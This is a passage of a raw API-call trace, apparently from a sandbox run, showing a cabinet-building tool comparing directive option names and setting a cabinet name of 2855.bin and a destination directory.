_Str2="DiskDirectory1") returned -1 [0101.972] _strcmpi (_Str1="Compress", _Str2="DiskDirectory1") returned -1 [0101.972] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectory1") returned -1 [0101.972] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectory1") returned -1 [0101.972] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectory1") returned -1 [0101.972] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectory1") returned -1 [0101.972] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectory1") returned -4 [0101.972] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskDirectory1") returned 67 [0101.972] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DiskDirectory1") returned 8 [0101.972] _strcmpi (_Str1="DoNotCopyFiles", _Str2="DiskDirectory1") returned 6 [0101.972] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="DiskDirectory1") returned 2 [0101.972] _strcmpi (_Str1="FolderSizeThreshold", _Str2="DiskDirectory1") returned 2 [0101.972] _strcmpi (_Str1="GenerateInf", _Str2="DiskDirectory1") returned 3 [0101.972] _strcmpi (_Str1="InfCabinetHeader", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfCommentString", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfDateFormat", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfDiskHeader", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfDiskLineFormat", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFileHeader", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFileLineFormat", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFileName", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFooter", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFooter1", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFooter2", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFooter3", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfFooter4", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader1", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader2", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader3", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader4", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader5", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfHeader6", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="InfSectionOrder", _Str2="DiskDirectory1") returned 5 [0101.972] _strcmpi (_Str1="MaxCabinetSize", _Str2="DiskDirectory1") returned 9 [0101.972] _strcmpi (_Str1="MaxDiskFileCount", _Str2="DiskDirectory1") returned 9 [0101.972] _strcmpi (_Str1="MaxDiskSize", _Str2="DiskDirectory1") returned 9 [0101.973] _strcmpi (_Str1="MaxErrors", _Str2="DiskDirectory1") returned 9 [0101.973] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="DiskDirectory1") returned 14 [0101.973] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="DiskDirectory1") returned 14 [0101.973] _strcmpi (_Str1="ReservePerFolderSize", _Str2="DiskDirectory1") returned 14 [0101.973] _strcmpi (_Str1="RptFileName", _Str2="DiskDirectory1") returned 14 [0101.973] _strcmpi (_Str1="SourceDir", _Str2="DiskDirectory1") returned 15 [0101.973] _strcmpi (_Str1="UniqueFiles", _Str2="DiskDirectory1") returned 17 [0101.973] _vsnprintf (in: _DstBuf=0x1fe680, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe5d8 | out: _DstBuf="DiskDirectory1") returned 14 [0101.973] _vsnprintf (in: _DstBuf=0x1fe410, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe368 | out: _DstBuf="DiskDirectory1") returned 14 [0101.973] free (_Block=0x327050) [0101.973] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize") returned -9 [0101.973] _strcmpi (_Str1="DiskDirectory1", _Str2="GenerateInf") returned -3 [0101.973] strpbrk (_Str=".set CabinetName1=\"2855.bin\"", _Control=" \x09") returned=" CabinetName1=\"2855.bin\"" [0101.973] strspn (_Str=" CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x1 [0101.973] strpbrk (_Str="CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x0 [0101.973] strspn (_Str=".set CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x0 [0101.973] strspn (_Str=".set CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x0 [0101.973] strpbrk (_Str="set CabinetName1=\"2855.bin\"", _Control=" \x09") returned=" CabinetName1=\"2855.bin\"" [0101.973] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0101.973] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0101.973] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0101.973] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0101.973] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0101.973] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0101.973] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0101.973] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0101.973] _strcmpi (_Str1="New", _Str2="set") returned -5 [0101.973] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0101.973] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0101.973] strspn (_Str=" CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x1 [0101.974] strpbrk (_Str="CabinetName1=\"2855.bin\"", _Control="= \x09") returned="=\"2855.bin\"" [0101.974] strspn (_Str="=\"2855.bin\"", _Control=" \x09") returned 0x0 [0101.974] strspn (_Str="\"2855.bin\"", _Control=" \x09") returned 0x0 [0101.974] strspn (_Str="", _Control=" \x09") returned 0x0 [0101.974] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 0 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="360K") returned -1 [0101.974] atol (_Str="362496") returned 362496 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="720K") returned -5 [0101.974] atol (_Str="730112") returned 730112 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="1.2M") returned 1 [0101.974] atol (_Str="1213952") returned 1213952 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="1.25M") returned 1 [0101.974] atol (_Str="1250304") returned 1250304 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="1.44M") returned 1 [0101.974] atol (_Str="1457664") returned 1457664 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="1.68M") returned 1 [0101.974] atol (_Str="1716224") returned 1716224 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="DMF168") returned -50 [0101.974] atol (_Str="1716224") returned 1716224 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="2855.bin", _Str2="CDROM") returned -49 [0101.974] atol (_Str="681984000") returned 681984000 [0101.974] atol (_Str="2855.bin") returned 2855 [0101.974] _strcmpi (_Str1="Cabinet", _Str2="CabinetName1") returned -110 [0101.974] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetName1") returned -8 [0101.974] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CabinetName1") returned 67 [0101.974] _strcmpi (_Str1="ChecksumWidth", _Str2="CabinetName1") returned 7 [0101.974] _strcmpi (_Str1="ClusterSize", _Str2="CabinetName1") returned 11 [0101.974] _strcmpi (_Str1="Compress", _Str2="CabinetName1") returned 14 [0101.974] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CabinetName1") returned 14 [0101.974] _strcmpi (_Str1="CompressionType", _Str2="CabinetName1") returned 14 [0101.974] _strcmpi (_Str1="CompressionLevel", _Str2="CabinetName1") returned 14 [0101.975] _strcmpi (_Str1="CompressionMemory", _Str2="CabinetName1") returned 14 [0101.975] _strcmpi (_Str1="DestinationDir", _Str2="CabinetName1") returned 1 [0101.975] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="CabinetName1") returned 1 [0101.975] _strcmpi (_Str1="DiskLabelTemplate", _Str2="CabinetName1") returned 1 [0101.975] _strcmpi (_Str1="DoNotCopyFiles", _Str2="CabinetName1") returned 1 [0101.975] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="CabinetName1") returned 3 [0101.975] _strcmpi (_Str1="FolderSizeThreshold", _Str2="CabinetName1") returned 3 [0101.975] _strcmpi (_Str1="GenerateInf", _Str2="CabinetName1") returned 4 [0101.975] _strcmpi (_Str1="InfCabinetHeader", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfCommentString", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfDateFormat", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfDiskHeader", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfDiskLineFormat", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFileHeader", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFileLineFormat", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFileName", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFooter", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFooter1", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFooter2", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFooter3", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfFooter4", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader1", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader2", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader3", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader4", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader5", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfHeader6", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="InfSectionOrder", _Str2="CabinetName1") returned 6 [0101.975] _strcmpi (_Str1="MaxCabinetSize", _Str2="CabinetName1") returned 10 [0101.975] _strcmpi (_Str1="MaxDiskFileCount", _Str2="CabinetName1") returned 10 [0101.975] _strcmpi (_Str1="MaxDiskSize", _Str2="CabinetName1") returned 10 [0101.975] _strcmpi (_Str1="MaxErrors", _Str2="CabinetName1") returned 10 [0101.975] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="CabinetName1") returned 15 [0101.975] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="CabinetName1") returned 15 [0101.975] _strcmpi (_Str1="ReservePerFolderSize", _Str2="CabinetName1") returned 15 [0101.975] _strcmpi (_Str1="RptFileName", _Str2="CabinetName1") returned 15 [0101.976] _strcmpi (_Str1="SourceDir", _Str2="CabinetName1") returned 16 [0101.976] _strcmpi (_Str1="UniqueFiles", _Str2="CabinetName1") returned 18 [0101.976] _strcmpi (_Str1="DiskDirectory1", _Str2="CabinetName1") returned 1 [0101.976] _vsnprintf (in: _DstBuf=0x1fe680, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe5d8 | out: _DstBuf="CabinetName1") returned 12 [0101.976] _vsnprintf (in: _DstBuf=0x1fe410, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe368 | out: _DstBuf="CabinetName1") returned 12 [0101.976] free (_Block=0x327050) [0101.976] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize") returned -10 [0101.976] _strcmpi (_Str1="CabinetName1", _Str2="GenerateInf") returned -4 [0101.976] strpbrk (_Str=".set DestinationDir=\"\"", _Control=" \x09") returned=" DestinationDir=\"\"" [0101.976] strspn (_Str=" DestinationDir=\"\"", _Control=" \x09") returned 0x1 [0101.976] strpbrk (_Str="DestinationDir=\"\"", _Control=" \x09") returned 0x0 [0101.976] strspn (_Str=".set DestinationDir=\"\"", _Control=" \x09") returned 0x0 [0101.976] strspn (_Str=".set DestinationDir=\"\"", _Control=" \x09") returned 0x0 [0101.976] strpbrk (_Str="set DestinationDir=\"\"", _Control=" \x09") returned=" DestinationDir=\"\"" [0101.976] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0101.976] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0101.976] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0101.976] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0101.976] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0101.976] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0101.976] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0101.976] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0101.976] _strcmpi (_Str1="New", _Str2="set") returned -5 [0101.976] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0101.976] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0101.976] strspn (_Str=" DestinationDir=\"\"", _Control=" \x09") returned 0x1 [0101.976] strpbrk (_Str="DestinationDir=\"\"", _Control="= \x09") returned="=\"\"" [0101.976] strspn (_Str="=\"\"", _Control=" \x09") returned 0x0 [0101.976] strspn (_Str="\"\"", _Control=" \x09") returned 0x0 [0101.976] strspn (_Str="", _Control=" \x09") returned 0x0 [0101.977] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="360K") returned -51 [0101.977] atol (_Str="362496") returned 362496 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="720K") returned -55 [0101.977] atol (_Str="730112") returned 730112 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="1.2M") returned -49 [0101.977] atol (_Str="1213952") returned 1213952 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="1.25M") returned -49 [0101.977] atol (_Str="1250304") returned 1250304 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="1.44M") returned -49 [0101.977] atol (_Str="1457664") returned 1457664 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="1.68M") returned -49 [0101.977] atol (_Str="1716224") returned 1716224 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="DMF168") returned -100 [0101.977] atol (_Str="1716224") returned 1716224 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="", _Str2="CDROM") returned -99 [0101.977] atol (_Str="681984000") returned 681984000 [0101.977] atol (_Str="") returned 0 [0101.977] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0101.977] _strcmpi (_Str1="DestinationDir", _Str2="DestinationDir") returned 0 [0101.977] free (_Block=0x3256d0) [0101.978] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize") returned -9 [0101.978] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0101.978] strpbrk (_Str="\"01D51ED4E3ECF92009\"", _Control=" \x09") returned 0x0 [0101.978] strspn (_Str="\"01D51ED4E3ECF92009\"", _Control=" \x09") returned 0x0 [0101.978] strspn (_Str="\"01D51ED4E3ECF92009\"", _Control=" \x09") returned 0x0 [0101.978] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 0 [0101.978] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0101.978] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0101.978] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0101.978] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0101.978] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0101.978] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0101.979] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0101.979] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0101.979] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0101.979] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0101.979] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0101.979] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0101.979] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0101.979] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0101.979] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0101.979] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0101.979] _strcmpi (_Str1="GenerateInf", _Str2="GenerateInf") returned 0 [0101.979] atoi (_Str="1") returned 1 [0101.979] _strcmpi (_Str1="Cabinet", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="CabinetNameTemplate", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="ChecksumWidth", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="ClusterSize", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="Compress", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="CompressionType", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="CompressionLevel", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="CompressionMemory", _Str2="SourceDir") returned -16 [0101.979] _strcmpi (_Str1="DestinationDir", _Str2="SourceDir") returned -15 [0101.979] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="SourceDir") returned -15 [0101.979] _strcmpi (_Str1="DiskLabelTemplate", _Str2="SourceDir") returned -15 [0101.979] _strcmpi (_Str1="DoNotCopyFiles", _Str2="SourceDir") returned -15 [0101.979] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="SourceDir") returned -13 [0101.979] _strcmpi (_Str1="FolderSizeThreshold", _Str2="SourceDir") returned -13 [0101.979] _strcmpi (_Str1="GenerateInf", _Str2="SourceDir") returned -12 [0101.979] _strcmpi (_Str1="InfCabinetHeader", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfCommentString", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfDateFormat", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfDiskHeader", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfDiskLineFormat", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfFileHeader", _Str2="SourceDir") returned -10 [0101.979] _strcmpi (_Str1="InfFileLineFormat", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfFileName", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfFooter", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfFooter1", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfFooter2", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfFooter3", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfFooter4", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader1", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader2", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader3", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader4", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader5", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfHeader6", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="InfSectionOrder", _Str2="SourceDir") returned -10 [0101.980] _strcmpi (_Str1="MaxCabinetSize", _Str2="SourceDir") returned -6 [0101.980] _strcmpi (_Str1="MaxDiskFileCount", _Str2="SourceDir") returned -6 [0101.980] _strcmpi (_Str1="MaxDiskSize", _Str2="SourceDir") returned -6 [0101.980] _strcmpi (_Str1="MaxErrors", _Str2="SourceDir") returned -6 [0101.980] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="SourceDir") returned -1 [0101.980] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="SourceDir") returned -1 [0101.980] _strcmpi (_Str1="ReservePerFolderSize", _Str2="SourceDir") returned -1 [0101.980] _strcmpi (_Str1="RptFileName", _Str2="SourceDir") returned -1 [0101.980] _strcmpi (_Str1="SourceDir", _Str2="SourceDir") returned 0 [0101.980] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0101.980] _strcmpi (_Str1="DestinationDir", _Str2="DestinationDir") returned 0 [0101.982] _vsnprintf (in: _DstBuf=0x32610c, _MaxCount=0x7ff, _Format="MaxDiskSize%d", _ArgList=0x1fe7c8 | out: _DstBuf="MaxDiskSize0") returned 12 [0101.982] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize0") returned -10 [0101.982] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize0") returned -9 [0101.982] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize0") returned -9 [0101.982] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize0") returned -9 [0101.982] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize0") returned -9 [0101.982] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize0") returned -7 [0101.982] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize0") returned -7 [0101.982] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize0") returned -6 [0101.982] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize0") returned -4 [0101.982] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize0") returned -4 [0101.982] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize0") returned -4 [0101.982] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize0") returned -4 [0101.982] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize0") returned -4 [0101.982] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize0") returned -4 [0101.983] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize0") returned -1 [0101.983] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize0") returned -13 [0101.983] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize0") returned -48 [0101.983] _strcmpi (_Str1="MaxErrors", _Str2="MaxDiskSize0") returned 1 [0101.983] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="MaxDiskSize0") returned 5 [0101.983] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="MaxDiskSize0") returned 5 [0101.983] _strcmpi (_Str1="ReservePerFolderSize", _Str2="MaxDiskSize0") returned 5 [0101.983] _strcmpi (_Str1="RptFileName", _Str2="MaxDiskSize0") returned 5 [0101.983] _strcmpi (_Str1="SourceDir", _Str2="MaxDiskSize0") returned 6 [0101.983] _strcmpi (_Str1="UniqueFiles", _Str2="MaxDiskSize0") returned 8 [0101.983] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize0") returned -9 [0101.983] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize0") returned -10 [0101.983] _vsnprintf (in: _DstBuf=0x1fe620, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe578 | out: _DstBuf="MaxDiskSize0") returned 12 [0101.983] _stat (_FileName="01D51ED4E3ECF92009", _Stat=0x1fe960) returned 0 [0101.984] _strcmpi (_Str1="Cabinet", _Str2="UniqueFiles") returned -18 [0101.984] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="UniqueFiles") returned -18 [0101.984] _strcmpi (_Str1="CabinetNameTemplate", _Str2="UniqueFiles") returned -18 [0101.984] _strcmpi (_Str1="ChecksumWidth", _Str2="UniqueFiles") returned -18 [0101.984] _strcmpi 